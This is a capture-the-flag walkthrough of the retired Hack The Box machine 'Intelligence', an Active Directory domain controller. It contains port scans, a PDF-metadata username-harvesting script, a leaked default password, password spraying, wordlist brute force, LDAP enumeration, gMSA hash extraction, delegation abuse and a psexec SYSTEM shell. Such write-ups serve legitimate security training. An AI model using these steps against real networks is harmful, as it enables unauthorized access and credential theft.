This post documents the complete walkthrough of Intelligence, a retired vulnerable VM created by Micah, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Intelligence is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.248 --rate=500
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-05 04:15:04 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 389/tcp on 10.10.10.248
Discovered open port 49717/tcp on 10.10.10.248
Discovered open port 49697/tcp on 10.10.10.248
Discovered open port 49684/tcp on 10.10.10.248
Discovered open port 636/tcp on 10.10.10.248
Discovered open port 80/tcp on 10.10.10.248
Discovered open port 49667/tcp on 10.10.10.248
Discovered open port 53/tcp on 10.10.10.248
Discovered open port 9389/tcp on 10.10.10.248
Discovered open port 49666/tcp on 10.10.10.248
Discovered open port 54518/tcp on 10.10.10.248
Discovered open port 3269/tcp on 10.10.10.248
Discovered open port 593/tcp on 10.10.10.248
Discovered open port 53/udp on 10.10.10.248
Discovered open port 3389/tcp on 10.10.10.248
Discovered open port 49670/tcp on 10.10.10.248
Discovered open port 88/tcp on 10.10.10.248
Discovered open port 49669/tcp on 10.10.10.248
Discovered open port 464/tcp on 10.10.10.248
Discovered open port 49665/tcp on 10.10.10.248
Discovered open port 445/tcp on 10.10.10.248
Discovered open port 139/tcp on 10.10.10.248
Discovered open port 135/tcp on 10.10.10.248
Discovered open port 3268/tcp on 10.10.10.248

This sure looks like the open-port profile of a Windows machine. I’d go so far as to say this is an Active Directory server. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -n -Pn -p53,53,80,88,135,139,389,445,464,593,636,3268,3269,3389,9389 -A --reason 10.10.10.248 -oN nmap.txt
...
PORT     STATE SERVICE       REASON          VERSION
53/tcp   open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp   open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Intelligence
88/tcp   open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2021-07-05 11:21:24Z)
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-07-05T11:22:49+00:00; +7h00m00s from scanner time.
445/tcp  open  microsoft-ds? syn-ack ttl 127
464/tcp  open  kpasswd5?     syn-ack ttl 127
593/tcp  open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-07-05T11:22:50+00:00; +7h00m00s from scanner time.
3268/tcp open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-07-05T11:22:49+00:00; +7h00m00s from scanner time.
3269/tcp open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Subject Alternative Name: othername:<unsupported>, DNS:dc.intelligence.htb
| Not valid before: 2021-04-19T00:43:16
|_Not valid after:  2022-04-19T00:43:16
|_ssl-date: 2021-07-05T11:22:50+00:00; +7h00m00s from scanner time.
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: intelligence
|   NetBIOS_Domain_Name: intelligence
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: intelligence.htb
|   DNS_Computer_Name: dc.intelligence.htb
|   DNS_Tree_Name: intelligence.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2021-07-05T11:22:08+00:00
| ssl-cert: Subject: commonName=dc.intelligence.htb
| Not valid before: 2021-07-04T03:54:30
|_Not valid after:  2022-01-03T03:54:30
|_ssl-date: 2021-07-05T11:22:50+00:00; +7h00m00s from scanner time.
9389/tcp open  mc-nmf        syn-ack ttl 127 .NET Message Framing
...
Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2021-07-05T11:22:12
|_  start_date: N/A

We are probably looking at a domain controller. Let’s map 10.10.10.248 to dc.intelligence.htb in /etc/hosts. This is what the http service looks like.

In the site, we find links to two PDF files. This is what they look like.

1) http://10.10.10.248/documents/2020-01-01-upload.pdf

2) http://10.10.10.248/documents/2020-12-15-upload.pdf

We can see the Creator metadata in these PDF files. This led me to think, what if there are more such PDF files based on this yyyy-mm-dd-upload.pdf naming convention? :thinking:

Intelligence Gathering

Armed with this thought, I wrote the following shell script to download the PDF files and extract the metadata.

download_and_extract.sh
#!/bin/bash

YEAR=$1
URL=http://10.10.10.248/documents

if [ ! -d $YEAR ]; then
    mkdir $YEAR
fi

cd $YEAR

# create wordlist
echo $YEAR-{01..12}-{01..31}-upload.pdf | tr ' ' '\n' > $YEAR.txt
wfuzz -o field --field url -w $YEAR.txt -t 20 --sc 200 "$URL/FUZZ" > ${YEAR}_wfuzz.txt

# download and extract them files
for file in $(cat ${YEAR}_wfuzz.txt); do
    wget -q $file
    exiftool -Creator ${file##*.*\/}
done \
| sort \
| uniq \
| cut -d ':' -f2 \
| tr -d ' ' > ${YEAR}_users.txt

# clean up
rm ${YEAR}.txt
rm ${YEAR}_wfuzz.txt

Let’s combine the users we got for year 2020 and year 2021 and remove the duplicates.

Let’s see if any of these users disable their Kerberos Pre-Authentication with Impacket’s GetNPUsers.py.

No luck there. We need more intelligence…Looking at the contents of the PDF files in year 2020, I spotted two interesting files.

1) 2020-06-04-upload.pdf

Default password for new accounts!

2) 2020-12-30-upload.pdf

And a user with first name Ted that’s not among the users extracted from the metadata. There’s also a note mentioning locking down of service accounts.

Password Spraying

Let’s see if we can password spray the users with the default password NewIntelligenceCorpUser9876. Enter CrackMapExec.

Boom, Tiffany.Molina is the one!

RPC Enumeration

Time for good ol’ rpcclient to show its strength. I’m particularly interested in the following information:

  1. Domain users

  2. Domain password policy

Domain Users

rpcclient -U'Tiffany.Molina%NewIntelligenceCorpUser9876' 10.10.10.248 -c enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[Danny.Matthews] rid:[0x44f]
user:[Jose.Williams] rid:[0x450]
user:[Jason.Wright] rid:[0x451]
user:[Samuel.Richardson] rid:[0x452]
user:[David.Mcbride] rid:[0x453]
user:[Scott.Scott] rid:[0x454]
user:[David.Reed] rid:[0x455]
user:[Ian.Duncan] rid:[0x456]
user:[Michelle.Kent] rid:[0x457]
user:[Jennifer.Thomas] rid:[0x458]
user:[Kaitlyn.Zimmerman] rid:[0x459]
user:[Travis.Evans] rid:[0x45a]
user:[Kelly.Long] rid:[0x45b]
user:[Nicole.Brock] rid:[0x45c]
user:[Stephanie.Young] rid:[0x45d]
user:[John.Coleman] rid:[0x45e]
user:[Thomas.Valenzuela] rid:[0x45f]
user:[Thomas.Hall] rid:[0x460]
user:[Brian.Baker] rid:[0x461]
user:[Richard.Williams] rid:[0x462]
user:[Teresa.Williamson] rid:[0x463]
user:[David.Wilson] rid:[0x464]
user:[Darryl.Harris] rid:[0x465]
user:[William.Lee] rid:[0x466]
user:[Thomas.Wise] rid:[0x467]
user:[Veronica.Patel] rid:[0x468]
user:[Joel.Crawford] rid:[0x469]
user:[Jean.Walter] rid:[0x46a]
user:[Anita.Roberts] rid:[0x46b]
user:[Brian.Morris] rid:[0x46c]
user:[Daniel.Shelton] rid:[0x46d]
user:[Jessica.Moody] rid:[0x46e]
user:[Tiffany.Molina] rid:[0x46f]
user:[James.Curbow] rid:[0x470]
user:[Jeremy.Mora] rid:[0x471]
user:[Jason.Patterson] rid:[0x472]
user:[Laura.Lee] rid:[0x473]
user:[Ted.Graves] rid:[0x474]

There is Ted. So his samaccountname is Ted.Graves.

Domain Password Policy

rpcclient -U'Tiffany.Molina%NewIntelligenceCorpUser9876' 10.10.10.248 -c "getusrdompwinfo 0x474"
    &info: struct samr_PwInfo
        min_password_length      : 0x0007 (7)
        password_properties      : 0x00000000 (0)
               0: DOMAIN_PASSWORD_COMPLEX
               0: DOMAIN_PASSWORD_NO_ANON_CHANGE
               0: DOMAIN_PASSWORD_NO_CLEAR_CHANGE
               0: DOMAIN_PASSWORD_LOCKOUT_ADMINS
               0: DOMAIN_PASSWORD_STORE_CLEARTEXT
               0: DOMAIN_REFUSE_PASSWORD_CHANGE

Looks like Ted has a simple password. Maybe we can brute-force his password but with a little intelligence?

Password Brute-Force

We select password candidates from Rockyou like so.

grep -E Ted /usr/share/wordlists/rockyou.txt | grep -E '^.{7,}$' > passwords.txt

It’s clear that the following conditions are met:

1) Contains “Ted”

2) At least 7 characters

Time to use CrackMapExec again to test out these passwords.

Alright Mr. Teddy, gotcha!

LDAP Enumeration

Now let’s see what we can glean from LDAP.

ldapsearch -H ldap://10.10.10.248 -x -W -D "[email protected]" -b "dc=intelligence,dc=htb"
Enter LDAP Password: Mr.Teddy

What do we have here? We have a Group Managed Service Account.

Attacking Active Directory Group Managed Service Accounts

According to this,

What are the odds? The creator has a tool just for that.

We have the NTHASH of the GMSA svc_int$!

Unconstrained Delegation on WWW/dc.intelligence.htb

Let’s take stock of what we know about svc_int$. From the LDAP enumeration, we know that the useraccountcontrol is 16781312, which translates to the following.

TRUSTED_TO_AUTH_FOR_DELEGATION means that svc_int$ has unconstrained delegation on WWW/dc.intelligence.htb.

Following the steps laid out here, I was able to impersonate Administrator and retrieve its ticket.

There’s a small catch: we need to synchronize our clock to that of dc.intelligence.htb.

Privilege Escalation

Armed with the ticket (export KRB5CCNAME=Administrator.ccache) we can get ourselves a SYSTEM shell with Impacket’s psexec.py like so.

:dancer: